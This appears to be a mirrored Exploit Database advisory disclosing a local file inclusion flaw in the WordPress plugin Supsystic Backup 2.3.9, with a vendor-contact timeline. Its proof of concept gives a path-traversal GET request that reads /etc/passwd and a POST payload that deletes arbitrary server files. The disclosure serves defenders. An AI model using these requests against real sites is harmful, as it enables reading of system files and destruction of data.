WordPress Plugin Supsystic Backup 2.3.9 – Local File Inclusion

• Exploit Database
• 112 阅读

• 作者： Erik David Martin
  日期： 2021-02-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49545/
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  # Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip # Version: 2.3.9 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2     # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply. # 29/11 2020: WordPress Plugin Security team contacted # 01/12 2020: Plugin/Project closed by WordPress Security team     # 1. Description   Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).     # 2. Proof of Concept (PoC)   Create a backup. When downloading the backup, change its path:   GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd     The "Delete" tab also allows an attacker to delete files on the server:   POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup